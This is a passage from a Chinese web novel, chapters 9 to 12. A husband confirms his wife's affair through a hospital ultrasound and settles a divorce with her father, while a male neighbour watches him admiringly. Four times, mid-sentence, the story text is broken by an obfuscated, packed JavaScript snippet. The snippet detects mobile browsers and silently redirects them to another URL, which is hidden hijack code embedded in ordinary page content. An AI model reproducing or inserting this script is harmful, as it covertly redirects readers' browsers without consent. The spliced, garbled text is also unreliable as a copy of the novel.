周山妹满是心疼道:“想些开心的事儿,这样,晚上姑给你做好吃的,别哭了!哭了这么久,眼睛都要哭坏了!” 终于有个人安慰,李丽华眼睛一酸,又要落下泪来,好在此刻心情好了点,点点头。 家里还剩的有排骨,周山妹打算把排骨和自己舍不得吃的海带一起炖汤,想了想,又打算从后院养的鸡里抓个老母鸡。 母鸡此刻也很懵逼,满后院乱跑,你都有个排骨炖汤了还抓我干啥! 我下那么多蛋,没有功劳也有苦劳啊! 周山妹本就跑的不快,这一下竟然没捉住这狡猾的老母鸡。 周勃从外面逛了一圈儿回来,就见自家小姑满后院的抓鸡,这鸡也是通人性,不知道怎么跳到房瓦上去了。 见周勃回来,还委屈的直喔喔的叫,小姑则手捏竹竿,想将这鸡从上面赶下来。 这鸡像是知道自己命运,就硬是不下来,双方就这样僵持着,直到周勃的出现。 周山妹赶紧让周勃来帮忙。 周勃好笑道:“小姑,这鸡就非吃不可啊?” “丽华心情不好,人怀着孕,得吃点补身体的,”周山妹将刚才回来见到李丽华在床上哭的事儿说出来。 她为了抓鸡此时着急得满头大汗,汗水滑过褶皱,天气本就闷热,周山妹气喘吁吁。 周勃脸上的笑瞬间就淡了,脸色平静得吓人,但在周山妹面前还是一如往常。 周山妹望着房瓦上的鸡着急,丝毫没注意周勃的变化。 “姑,你把杆子给我,我来抓,你自己先去歇着吧,”周勃不由分说接过周山妹手中的竹竿,将周山妹推到堂屋里。 “明天我带她去医院看看,你就别操心这么多了!” 周山妹对自家侄子很是放心,没了抓鸡这个活儿轻松不少,赶紧将排骨下锅炖了。 这边周勃却没在用竹竿子捅鸡,他放好竹竿,又出门了。 唐放开门就碰见了刚才谈话主人公的绿帽子老公,呆滞了会儿,他迅速收好表情,把人放进屋。 “明天你要用车吗?” 唐放给他倒口水:“不用,怎么了?想借?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434422|141455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周勃不卖关子,平静的面色下暗流涌动:“对,想借你的车上午,带李丽华去医院看看。” 唐放嘴角抽动,他看着这人,洁白的脸仍旧很平静,只有那有些乱的发丝透露出些许不平静。 脚上的黑皮鞋又给换了回来,踩上黑色人字拖,修长有力又洁白的脚路在外面,青筋在裤脚下若隐若现。 他收回视线,淡淡的声音像是在说什么不起眼的事儿:“好,正好我明天要去县里,我送你们去吧,到时候再接你们回来。” 明天有人接送,周勃心中一松,嘴角微微勾起:“那就说好了,我明天等你。” “嗯。” 唐放目送着对方离去,修长挺拔的背影和周围格格不入,西装裤从后面看着很直,可以想到对方裤子下应该也是双笔直的腿。 所以才会有双那么上眼的脚。 杂七杂八的想法从他脑中一闪而过。 第二天早上,唐放开着车接到周勃和李丽华两人。 不知道这两人是怎么说,周勃面无表情看不出情绪,反倒是李丽华很好猜,看见他后面色跟吃了屎一样,着实好笑。 一想到对方做出的事儿,他又笑不出口了。 男人,对于伴侣的所有权和占有欲是很强烈的,任何雄性生物都忍受不了领地被人侵犯,别管是多么懦弱的男人。 更何况,周勃看起来弱吗?好欺负吗? 就是因着这样,他也不好直接告诉对方。 皮卡发出两声鸣笛,李丽华看了周围只有这一辆车,只能咬着牙坐上后排。 不知道为什么,她有点不敢和周勃谈条件,她觉着周勃看她的眼神让她有种心惊肉跳的错觉。 让唐放惊讶的是,周勃没有选择坐在后排,而是坐在了副驾驶,他看着后视镜里李丽华难看的脸色,淡淡道:“怎么不坐后面?” 周勃笑了下:“走吧,你又不是我的司机,坐后面干什么。” 唐放深深的看了他一眼 周勃装作没看到,他知道唐放刚才的意思是什么,但他懒得和人虚与委蛇,去趟医院,拿个报告。 他现在已经很不想忍这个女人了。周勃闭上眼睛,将后排的女人当成空气。 李丽华听着这话,睫毛颤动,隐隐有种不好得预感,想到昨天周勃对自己的态度,脸色发白,手指纠缠在一起,心中发紧。 周勃,他会不会知道什么了? 但她知道周勃长时间在海城,村里又没有联系的熟人,就算有,知道她和周文博事情的人也很少,周勃怎么会知道呢? 周山妹都不知道的事! 李丽华越想,越觉着或许是自己多心了,她安慰自己,昨天应该是周勃心情不好,和自己没关系。 将人送到县医院,唐放开车走了,他确实没说错,今天是有事儿来县城。 村里周佳佳嫁到了外边,但她和丈夫却在县城买了套房,要找人装修,通过陈牧德这块关系,找上了唐放。 这装修本来就是个小事儿,还是熟人,唐放是想着让陈牧德跟着人先干干,熟悉一下,正好今天去县里看看房坯。 9. 第 9 章 九十年代的县医院和后世不同,这时候对于孕妇胎儿月数的检测最为准确的是B超。 医生得知周勃是带着妻子来进行产检的时候也是一惊,对着李丽华笑呵呵道:“你老公对你很好啊!”这年头产检的人少。 产检这个概念都还是从国外传来的,思维尚未转变的中国人那信什么产检哦! 李丽华露出个尴尬的笑容。 一旁的护士也是满脸艳羡,这时候哪个丈夫会带着妻子过来进行产检哦! 也就是人丈夫太爱妻子了,才会带着人来产检,护士小声对着同事羡慕道:“而且,她老公长得好帅啊,又有气质!” 同事疯狂点头。 医生则是开始询问李丽华孕期相关的吃食,以及有没有出现身体不适的情况。 量血压、称体重,量宫高和腹围,再用听诊器探听胎儿的心跳,一系列做完后,医生笑眯眯放下手中动作,对着周勃道:“没问题,孩子很健康,只是生活中要注意一下,不要太过劳累,情绪不要起伏太大就行了。” 孩子没问题,李丽华自然是一脸喜色,周勃目光闪了闪,对着医生道:“李医生,能不能再开个B超。” 李医生一愣,这还是第一个听见要加项目的人,这得是多大的爱啊! “也可以,既然不放心,照个B超也更稳妥些,”李医生笑呵呵,脸上的褶子要笑成朵菊花,人不想看小年轻恩恩爱爱的模样。 一旁护士听到这话,手帕都要咬碎了,痛心疾首:“我怎么没遇见这么好看,又爱我的老公!” 同事红着眼眶:“女的我也可以!” “……女的你也产检不了!” 拿着B超单子,周勃陪着李丽华到了B超室,一路上没人说话。 李丽华是习惯了,以前周勃总是捧着她,在一起的时候也都是他说话最多,他千方百计找话题,现在她就算有心聊天也没话可说。 周勃完全是不想理人,他慢一步走在李丽华身后,放空思绪。 路过的人总会回头看他俩,女的好看,男的又高又帅,要不是俩看起来貌合神离,差点真让人以为是夫妻了。 李丽华进了B超室,帘子一拉门一关让人看不见里面的状况。 周勃坐在外边长椅上等,他后背靠着,长腿翘着二郎腿,手插在裤兜里,看起来很是懒散,和周围紧张的人显得格格不入。 肯陪着老婆费钱过来做B超的,也不缺那点钱,见着周勃的模样,有个紧张的哥们忍不住了。 “唉!兄弟,那是你妹子?” “不是。”周勃笑了下。 这哥们继续道:“她老公怎么不陪着来啊?这么漂亮的老婆真舍得让她自己来?” 周勃差点笑出声,解释道:“我就是她老公!” “卧槽!不是,你看起来不像啊!”另一个哥们忍不住道。 “怎么就不像了?” “你……你怎么一点都不紧张?你没看他,人腿都在抖,刚才有个兄弟,那医生刚出来时板着脸,差点把人给吓得腿软跪倒在地上磕头了!”想起刚才看到的事儿,这哥们想起来还有点想笑。 周勃平静道:“这有什么,一个B超而已,医生说什么是什么,运气不好也没办法,大不了就离婚。” 这哥们傻眼,咋还扯到离婚上了? 他好几句话堵在喉咙里,最终竖起大拇指,吐出句话:“牛!” 槽点太多,无法吐槽。 一边拿着陶瓷缸抖腿的哥们腿不抖了,幽幽来了句:“哥们,你这老婆,肚子里不是你的吧。” 不然咋可能这么淡定? 卧槽!! 此话一出,给其他人干沉默了,纷纷震惊,看向周勃,想让他给个回答。 周勃笑了下,没说是不是,那架势,很明显了。 众人倒吸一口冷气。 等到李丽华出来时,丝毫没发现周围人看她的目光中透露的诡异。 隔壁一个大腹便便的孕妇扶着腰出来,她皱着眉,月份大了就是这样。 她男人立马迎上去搀扶她,大概是刚才周勃那笑在他脑海中挥之不去,他边扶边担忧嘴巴一抽道:“老婆!医生怎么说?肚子里的孩子是我的吧!” 本就不好的心情瞬间落到谷底,孕妇怒目而视,一个巴掌甩在男人脸上,“滚你妈的,孩子不是你的是我妈的啊!” 众人纷纷咽了口口水,这娘们真辣! 男人用脸接了个巴掌,捂着脸欲哭无泪,嘴巴哆嗦着半响没敢出声,只能小心追上孕妇,小声讨好:“老婆!老婆我错了,刚医生说啥了?咱孩子没事儿吧!” 有了这哥们的前车之鉴,其他人纷纷将周勃的事儿抛到脑后,生怕一个不小心,又多了个用脸接巴掌的人。 李丽华的肚子没那么大,只是凸起,能看出怀孕的状态。 一早上没上厕所,她刚出来丢下句话,就急匆匆往厕所赶。 周勃眼见她的背影消失在转角,朝刚要进去的人打个招呼,周转身走进李丽华刚才的B超室。 “医生,刚才的结果单丢了,能麻烦再给我打一张不?” 周勃脸上挂着笑,他长得好看,检查的医生又是个女的,见他这模样,又不是什么大事,也就点头同意了。 “这单子你拿好,别丢了,拿给医生看就行了。”女医生道。 周勃笑得更灿烂了,“那个,我还想问问,我媳妇肚子里的孩子还好吗?主要这是我们新婚的第一胎,前两个月害怕出事儿。” 女医生头也没抬,她忙活了一早上,回答的声音都透露着疲惫,不过良好的素养,让她很是平静:“你媳妇儿没事,孩子也没问题,不用担心,现在孩子四个多月大了,按理来说,状态已经很稳定了。” 周勃适时的露出茫然且无措的表情:“医生,你说什么啊?我们才结婚三个月,孩子怎么可能四个月多了?” 女医生一愣,你们自己做的事儿,自己不清楚? 她看向周勃,对方茫然的样子让她心中咯噔一下,沉默一会儿,女医生清咳两声,“机器上面显示,透露出来的数据是这样的,孩子确实是四个多月了,至于其他的事儿你可以去问问,额,医生,妇产科医生,或者精神科医生都可以,主要是保证自身的心理健康。” 周勃:“……”这是怕他做傻事吗? 怎么可能,好歹有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434423|141455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个证据了。 * 李医生这边接过周勃递过来的B超单,他推推眼镜,笑得满意:“单子上面显示胎儿发育的很好,不用担心什么问题。” 周勃道:“能问问您,这孩子多大了吗?” 他平静的话语中透露着苦涩。 李医生一顿,不解:“这应该是四个多月了,胎儿状态很好,怎么了?” 周勃喃喃道:“可是我们才结婚三个月。” 李医生:“……”你这给我干不会了啊。 李医生正想说,孩子可能是你们结婚前有的,没事,现在的小年轻性子急,什么事都有可能发生。 再看到周勃的脸色,三分苦涩三分茫然四分不可置信,得,不用说了,这小伙子估摸着不是急性子那挂的。 周勃抱着头露出痛苦的神情。 李医生傻眼了,颤抖着手想安慰一下这小伙子,想说这没什么,男人嘛总有几个孩子不是自己的,只要放的开,说不定别人老婆肚子里的孩子也有可能是你的。 没等他安慰两句,周勃苦笑着道:“李医生,麻烦你今天的事儿保密。” 李医生舔舔嘴唇,他还处在懵逼中,“你放心,我们医生对于患者的隐私……” 话没说完,他只能目睹着对方惨然离去的背影。 迎面而来的小姑娘,是刚才办公室里的护士,也看到了周勃难看的脸色,她们走进办公室,满脸疑惑:“李医生,那个人怎么了?刚才不是还陪着他老婆去做B超嘛?是出什么事了吗?” 李医生,李医生回过神来,涨红着脸,话到嘴边,面对小护士的疑问,深深的看了她们一眼,最终化作长长的一声叹息。 “唉——,我不能说。” 小护士:“???” 可惜了,他是个有职业素养的医生,你们是不知道,刚才他破获了多大的信息量! 周勃当然是不可能抛下李丽华独自走的,他有着男人的责任心,人是他带出来的,他必然也得给带回去。 他蹲在医院门口的台阶上,口中叼着根烟,嘴角勾出抹笑,想起刚才李医生的表情,有点逗。 怀疑老婆出轨,和老婆出轨已经有证据可是两种概念。 他不得不用最大的恶念去怀疑对方,孩子作为最有力的证据,对方要是死活不承认,冒着风险偷偷打胎了怎么办? 有了证据,心中不慌。 医院对面,隔着马路卖吃食,还有副食店,那店里老板估摸着是黄家驹的粉丝,CD机里磁性性感的歌声是抹不去的故事感。 在人来人往的街上,人们忙忙碌碌,或许早就习惯了他的歌声。 站在电线杆底下的年轻人不嫌热穿着带图案夹克,一边抽烟,一边朝马路对面的漂亮姑娘摆出自认为深沉帅气的模样,时不时屁|股随着歌声扭动一下。 骚包得很。 “今天我~寒夜里看雪飘过~” “怀着冷却了的心窝漂远方~” …… “原谅我这一生不羁放纵爱自由~” 呀微怕有呀天微迪斗~ 周勃嘴角勾出的笑容扩大。 这可是黄家驹啊! 10. 第 10 章 唐放开车来的时候,老远就见着人蹲在台阶上。 白色衬衫弓出修长弧线,碎发迎风舒展飘扬,一张洁白的脸上难得勾勒出明显舒缓的开心,乐的嘴角都停不下。 以前他笑起来眯着眼睛就像只狡猾的狐狸,现在这样看着,更像了。 看来老婆检查的结果不错。 唐放平静想着,手中不自觉捏紧方向盘,他就静静的把车停在马路边,没鸣笛。 看着周勃蹲着笑的傻样儿,他胡乱抓了把头发,有点想抽烟了。 在裤兜里摸索半天,只搜出来个皱巴巴的烟盒,一根烟没有,唐放不自觉皱起眉。 停下来的车总透出几分让人烦躁的闷热,三两下从车上下来,唐放的目光在众店铺扫了一圈,最终停在一间自带歌声儿的店面上。 主要柜台上摆出来的烟一眼就能看到,唐放大步走过去。 黄家驹的歌到了尾声,经过短暂暂停后,音乐响起,深情的男声裹挟着浓浓爱意情绪在街上飘荡。 “不问你为何流眼泪~” “不在乎你心里还有谁~” …… 声音有些嘈杂,唐放对着正在椅子上躺着边吹凉风边扇扇子的老板道:“老板,来包红塔山。” 老板是个中年大叔,此时正闭着眼睛跟随歌声唱的如痴如醉,压根没听见唐放的声音。 “既然爱了就不后悔~” “再多的苦我也愿意背~” …… 唐放不得不提高音量:“老板,来包红塔山。” 这次老板听见了,他一个弹身起步,笑眯眯道:“好嘞,来了来了。” 唐放又拿了个打火机,刚出店门,火光一闪,一支烟刁在他嘴边,他一边抽,耳朵边还响着店面的歌。 “我的爱如潮水~” “爱如潮水将我向你推~” …… 唐放很快在店门口抽完烟,长长吐出口气,压在心口的那点不顺这才少了些,走之前还不忘留下句话。 “这歌,真tm难听。” 这要是让歌手的粉丝听见,不得抡着锤子追他大半条街,你大爷的傻|逼,你说谁的歌难听? 唐放本就生的高大,在人群中十分显眼,周勃又不是瞎子,在人去店里买烟的时候就瞧见了。 大概是天气热,唐放走过来时,周勃还能看见从他脖颈上滑下的汗珠,大滴汗珠顺着修长的脖颈,舌忝过突出的喉结滑向胸前结实的肌肉,连带着白色背心都湿了一片。 手臂结实有力量感的肌肉线条,以及那张棱角分明的脸,一种荷尔蒙气息扑面而来。 更别说,脸上的那双丹凤眼,眯着眼睛斜着看人,像是丝毫不知道自己诱惑一般,又增添了不自知的魅力。 充满荷尔蒙的气息,只会让周围的男性应激的想要远离,生怕会分走属于自己的视线。 周勃却没有那种想法。 或许是他早已过了求偶的阶段,心平气和,不管是男性还是女性,这种魅力只能让他欣赏。 唐放走近了,没看到李丽华的身影,“李丽华呢?检查结果怎么样?” “医生说孩子很健康,”周勃笑着笑着半垂眼帘目光看向左边儿的台阶:“四个多月了,说很稳定了。” “四个多月了,”唐放点点头,随后察觉到不对,是周勃状态的不对。 看起来,不像是高兴啊。 他是知道了?周勃舔舔干燥起皮的嘴唇,怀疑刚才自己看他开心的模样是看错了,轻轻试探:“我记得,你们不是才结婚三个月吗?” 周勃失神,像个被霜打了的茄子,弓着的背脊弯出脆弱的弧度,喃喃道:“对啊,怎么会有个四个多月大的孩子呢?” …… 知道自己不该笑,唐放勉强压下不断上扬的嘴角,眉间舒缓异常,强迫自己对这事儿提出质疑:“会不会是你弄错了?” “不会错的,做了B超,医生亲口说的。” 唐放站直身体,肩膀松缓,心想这肯定不会错,你俩床都没上,能出个孩子就有鬼了,鬼是有,那是个男鬼,人的奸夫。 当然,他不能这么说。 考虑到对方此时或许遭受到的打击,唐放递给他支烟,“想开点,或许真是弄错了。” 周勃接过烟,眉头皱着,表面上看着满是愁容,心底觉着,要真弄错了我倒立吃屎,等了这么久能有错? 两人想法各异,都没发现对方的心思。 等到李丽华出来时,她满脸冷意,怒气冲冲的语气里尽是责怪:“你怎么不等我就出来了!” 害的她在医院里找了好久,连医生看她的眼神都不对了! 周勃此刻全心全意扮演着一个受到剧烈打击的丈夫,对于李丽华的质问视而不见,甚至将人完全忽视。 唐放也不说话,他知道周勃此时心里难受,原本对李丽华的印象就跌倒谷底。 这时候更不会鸟她。 等到两个人都上了车,唐放面无表情对着李丽华道:“上车吧。” 被周勃无视,李丽华快要气死了,谁能想到人上个厕所的功夫,陪着来的丈夫就不见了人影是种什么感受,差点以为周勃直接走了。 真的就只差一点,她都要打电话给家里,让父母来接她了! 至于周勃,让他后悔去吧! 李丽华坐在后座,心里冷哼两声,等下回去她就收拾东西回家! 周勃巴不得她回家。 车里除了时不时闯进的风,异常寂静,唐放过几秒暼一眼周勃的脸色,好在人只是难过,没到理智崩溃的情况。 周勃此时正想着后边要怎么做,这个B超单和医生的话就是最好的证据。 要最大化的利用这个证据。 皮卡在马路上不知开了多久,唐放将两人放在家门口。 目送他们进门后才慢悠悠开着车回家。 周勃沉默,李丽华也是冷着脸一脸怒气。 刚进家门,李丽华转身进了卧室,“砰”的一声,门被大力关上。 周山妹不知道发生了什么,只在周勃身边,嚅喏着嘴唇小声道:“你们这是怎么了?是孩子出什么事儿了吗?” 事关孩子,这可是大事! 周勃看着面儿上满是心急的小姑,叹了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434424|141455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,这事不知道该怎么说,只能出声安慰道:“没事的小姑,孩子没事,医生说孩子状态很稳定。” 周山妹懵了,手止不住的在衣摆上擦拭:“那……”那丽华是怎么了? “我和李丽华说些事,很快就好了。” 周勃走进卧室,反手将门关上。 他冷眼看着正在收拾衣物的李丽华,等她收拾得差不多,周勃开口了。 “收好了?” 李丽华冷着脸,开始收写字桌上的瓶瓶罐罐。 周勃可不惯着她,背靠在门板上,冷笑两声:“你快收吧,正好送你回去,顺便问问咱们岳父大人,他的女儿到底是什么货色。” “你!”这种带有羞辱意味的话让李丽华满脸怒容。 “你知不知道你在说什么!你到底还记得我是你老婆吗?!” 冷笑的男人,愤怒的女人,这要是不明真相的人在场,只怕会觉着这个男人不行啊,竟然这样对自己的妻子。 周勃可不惯着她。 他老早对这个所谓的妻子没了半分感情,身为妻子,却没做到一点妻子该有的责任感。 恋爱和结婚是两码事,前者要求的是道德感,后者要的是责任感。 若她有半分身为妻子的责任感,曾经的自己也就不会显得那么的无助和傻|逼。 “怎么,你还知道你是已经结婚了的人吗?” 周勃:“我还以为你和周文博才是夫妻呢。” 周文博三个字就像咒语硬控住李丽华。 刚才还满脸怒容的李丽华,此刻脸僵住,心里有了一瞬慌张,但很快镇定下来,甚至流露出些许的委屈。 “我不知道你是听别人说了什么,但我告诉你,我从来没做过什么对不起你的事!” 周勃快被她的不要脸气笑了。 “呵呵,怎么,你的意思是说你不喜欢周文博?还是说你和他一点关系没有?还是说你这些天没去找他?” 他怎么会知道!李丽华瞳孔骤缩,好在她脸皮厚,很快恢复过来,知道什么该说,什么不该说。 典型的理不直气也壮。 “你说的那些根本就是揣测!我承认,我之前确实喜欢过他,但那都是结婚之前的事了!” “难道就因为结婚了,我连属于自己的社交都不能没有吗!” 真就是好一口伶牙俐齿,周勃早猜到她会不承认,他对着女人。 很多东西,不是你不承认就不会存在的。 “行,你收好东西了吧,去你家问问你爸,我倒要看看他会怎么说。” 李丽华慌了,手忙脚乱将收好的衣物全铺开,瓶瓶罐罐也不收拾了。 她爸是知道她和周文博那些事儿的,现在周勃要真的去质问了,只怕她爸会吧她的腿打断! 想到这里,李丽华更慌了。 “你、你说什么啊?谁说我要收拾东西回去的!” “我、我才不回去!” 你永远不能叫醒一个装睡的人。 周勃懒得和她周旋,既然她不去,那他就自己去问问,将这么个女儿嫁到别人家里,到底怀着多大的恶意! 11. 第 11 章 当初他为什么会和李丽华结婚呢? 有小姑的催促,有身为“成功人士”的自得,以及是时候该结婚了的按部就班的想法。 那时候人结婚都早,到了结婚的年龄,看着身边同龄人孩子老婆炕上抱总有羡慕的时候,更别说他一个人孤家寡人。 海城,这个城市,太大了。 所以李丽华适时的出现,人长得漂亮,小姑满意,她的父母曾经又和周勃的父母有过交情。 他怀着对婚姻的期待结了婚。 婚后三个月妻子怀孕,事业有成,娇妻在怀,儿子也有了,一时间他意气风发,逢人都是一副笑呵呵的脸,不少人都还担心他是不是病了让他回家睡觉。 周勃只说了句我老婆怀孕了,一众恭喜贺到他的心巴上。 要说他有多喜欢李丽华,还真没多少,男人对女人天生的贱,得不到的就心痒,李丽华总是冷脸对他,也激起了他的胜负欲。 只是,老天爷似乎看不上他的傲气,给他狠狠甩了个巴掌,并朝他吐口唾沫。 人到中年,妻离子散,亲人一夜去世。 该经历的,不该经历的,他都经历了。 只是那个年纪,他能做什么? 李丽华见他打开房门真要有去的意思,额角冷汗直冒,一时间六神无主彻底陷入慌乱。 她“唰”的丢下手中的衣服,追着人跑出去,怀着孕竟然也健步如飞。 平时清脆的声音此时透着股凄厉。 “唉!周勃!周勃!你给我回来!你听见没有!” 周勃听着身后的声音,摇头笑的讽刺,他脚步不停。 李丽华很快气喘吁吁拦在周勃面前,面色难看,注意到周山妹从院内看过来的目光,咬着牙小声道:“你别闹了好吗!” 周勃嘴角抽抽,第一次听人对他说这样的话。 “有什么事我们好好商量,没必要弄得大家伙都知道!你不嫌丢人吗!” 周勃目光看向虚空,“你都不嫌丢人,我怎么会嫌丢人?” 李丽华急得鼻尖直冒汗,哆嗦着嘴唇,想不出其他话来阻止周勃。 周勃哼笑一声,看着李丽华的目光冷得让她心抖,甚至不自觉后退一步。 就这么一步,再也没法阻止周勃的离开。 最终,李丽华没能拦住周勃,只能看着周勃的身影消失在视野,她慌得手抖,在原地站了得有十多分钟。 没办法了,李丽华咬着牙向周文博家快步走去。 这件事必须告诉他!这个孩子就是他的啊!一定要想出个解决办法! 周勃裤兜里带着张折叠的B超单,李丽华的父母不在周家村,住在相隔十公里左右的李家湾,属于村里小有资产的农民。 这都是年轻是攒下来的钱,家里有钱,对子女的教育要好些。 儿子前几年下海,带着妻子去魔都闯荡,现在唯一操心的就是女儿,自从今年慌不迭将女儿嫁出去,老两口终于没了牵挂。 家里烟囱刚冒出浓烟,一辆皮卡稳稳停在马路边。 李家湾,是因马路一条巨大的弯道得名,不少人家坐落在弯道两边,一条河流顺着弯道穿过房屋。 皮卡车一停下来,就有人注意到从车上下来的两个年轻人,眯着眼睛一瞧。 嘿!一个不是李家栋的女婿嘛! 另一个稍微有点眼熟,那不他家亲戚嘛! 这人从房顶上看到人顺着小路走进来,对着另一边儿正在园子里摘菜得李家栋笑着高声道:“老李!你快别摘菜了吧!你家来客人喽!” 李家栋用衣袖擦擦脸上流淌的汗水,脚边是一堆青辣椒,他眯着眼睛,“谁来了!” “你家女婿!” 李家栋匆匆带着摘好的菜赶回家,他对自己这个女婿可谓是满意极了,人来了不得让老婆子做顿好饭! 和想象中不同,李家栋一回家就感受到与众不同的气氛。 凝固的氛围让他的脚步一下缓和,他略过站在一旁的唐放,目光停留在周勃身上,很是懵逼。 “这是咋了?” 周勃面无表情,从裤兜里掏出张单子递过去,“李叔,这是医生做产检时候B超单子。”知道人看不懂,周勃继续道:“医生说胎儿很健康,状态很好,有四个多月了。” 李家栋接过单子,他确实没看懂这个单子是怎么回事,乍一听周勃的话,毫不迟疑看向周勃,立刻回道:“这是好事啊!” 周勃漆黑的目光犹如深潭,一往他脸上对人都带着笑,从不落人脸面。 此刻不笑的样子倒让人心里发凉。 李家栋后知后觉听出周勃后半句话的意思,什么叫四个多月了!四个月周勃和李丽华都还不认识! 这孩子是谁的显而易见,他就知道周文博那个臭小子就是个甩不掉牛粪! 还有丽华!怎么能做出这样糊涂的事来! 李家栋的脸色逐渐沉下来,面色难看的要命,捏着B超单子的手都在抖。 这个反应就很有意思了。 周勃心中一阵冷笑,平常父母听到这种事,第一反应就是不相信,谁会相信自己女儿是个不检点的人?脾气差点的当场就能破口大骂,怀疑单子的可靠性。 但李家栋的反应明显是知道点什么,就连李丽华的母亲在一旁都开始抹眼泪。 李家栋黝黑的脸庞沉默下来,撇开头不敢看周勃这个小辈,好一会儿,才颤抖着嘴唇道:“是丽华她对不起你,周勃啊,你知道叔就这么一个女儿,我,我真该死!” 说着,李家栋朝自己脸上狠狠扇了几个巴掌。 周勃冷眼旁观,说实话,当初为什么小姑会挑中李丽华和她父亲分不开关系。 家庭艰难时,李叔曾经帮过他们。 也正是这样,这种背叛才来得更让人心寒。 婚姻是两个家庭的事,不可能他执意要离婚就能离得了,现在走到这一步,周勃不相信李家栋还有脸在说出劝解的话。 周勃等到李家栋停手后,平静的抽出支烟递给他,“李叔,我会和她离婚,她的嫁妆我都会退回来,但相应的,彩礼以及不属于她的,一分钱我都不会给。” “我过来,只是想和平解决这件事,并且立下字据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434425|141455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我也不想让双方都出丑,也不想就这样毁了她的一生。” 男人爱你的时候能把心都掏出来,不爱的时候一分一毫都算得清清楚楚。 周勃点支烟,都是成年人了,该怎么做都要在脑子中想清楚,衡量一下。 李家栋接过烟,他还能再说什么呢? 和平解决是最好的办法,难道让自己的女儿被万人指责吗? 女人不检点这种放在古代浸猪笼的事,现在虽说封建好了些,但不代表这种事就是对的,死罪能逃,活罪呢? 这还真不是乱说,只看现在的影视剧就能看出苗头,更别说到了03年还有出名的《花心婆娘爱帅哥》这种类似的山歌剧,女人出轨不检点最后的结局从来没好过,家庭破裂是好的,更有甚者一个锄头过来就是两条人命。 世俗对女人总是苛刻些。 不代表这种不服责任的事就能得到谅解,不论男女。 字据不仅要李家栋签字摁手印,同样需要李丽华的,见证人则是跟过来的唐放,人尽其用。 李家栋收好字据,黝黑的脸上心如死灰,“你放心,我会让丽华签字的。” 周勃点点头,他相信他能做到。 皮卡车上,开车的唐放看了眼始终面无表情的周勃,他算是从头到尾见识了一场大戏。 最让唐放佩服的,是他的冷静,不管是掏出检查单,还是告知对方父母一家,就连提出条件也是,条理清晰诉求明白。 唐放嘴角微微勾起,啧啧两声:“想不到啊。” 周勃:“?” “我还以为你会直接上去理论,把李丽华出轨的事直接挑明白宣扬出去,没想到这么冷静。” 周勃点支烟,手肘撑在窗口,眼睛看着前方,烟雾从唇中溢出,迷蒙了双眼。 从唐放的角度,他只要一侧头,就能看见那漆黑的发丝下一截修长洁白的脖颈。 往下走是撑起白色衬衫的漂亮肌肉,往上走是洁白耳垂以及线条流畅的侧脸,高挺的鼻梁,微微眯起的眼眸在白雾笼罩之下透出些叫人不敢接近的味道。 周勃笑了下,一双眼睛倾斜着多了分俾睨。 唐放收回视线。 “呵,那得有多大仇多大冤,才会把对方的脸面往脚底下狠狠的踩,婚姻的目的本就是结缘,没必要最后弄成了死仇。” “除了丢自己的脸,还平白无故多了个死仇,谁知道会在什么时候在背后算计你?这不划算。” 周勃将抽到一半的掐灭,香烟的尼古丁在随着风飘到唐放鼻尖,这是男人最爱的味道。 让人上瘾的尼古丁。 唐放又没忍住看向周勃,半截香烟被他捏扁,轻轻一扬,潇洒落到马路一旁的草地上,只见他薄唇轻轻开口,平静中又带着独属于男人的血气。 “既然做不到赶尽杀绝,那就把利益最大化,好的商人要学会收手,不做亏本的买卖。 握住方向盘的手捏紧,唐放舔舔发干的嘴唇,勾起的嘴角不自觉拉大,那让人上瘾兴奋的尼古丁又飘到他鼻尖,萦绕不断。 让他有种想抽根烟的心痒。 12. 第 12 章 陈牧德晚上窜进唐放家时像做贼似的,光着膀子,上衣甩在肩膀上,火急火燎的闯进房里。 一遇到凉风,他发出喟叹:“啊!还是放哥你这里凉快,我在家都快热死了!” 陈牧德大字躺在地板上,地板由木板铺成,为了防爬虫距离地面有些距离,躺在上面冰冰凉凉很是舒服。 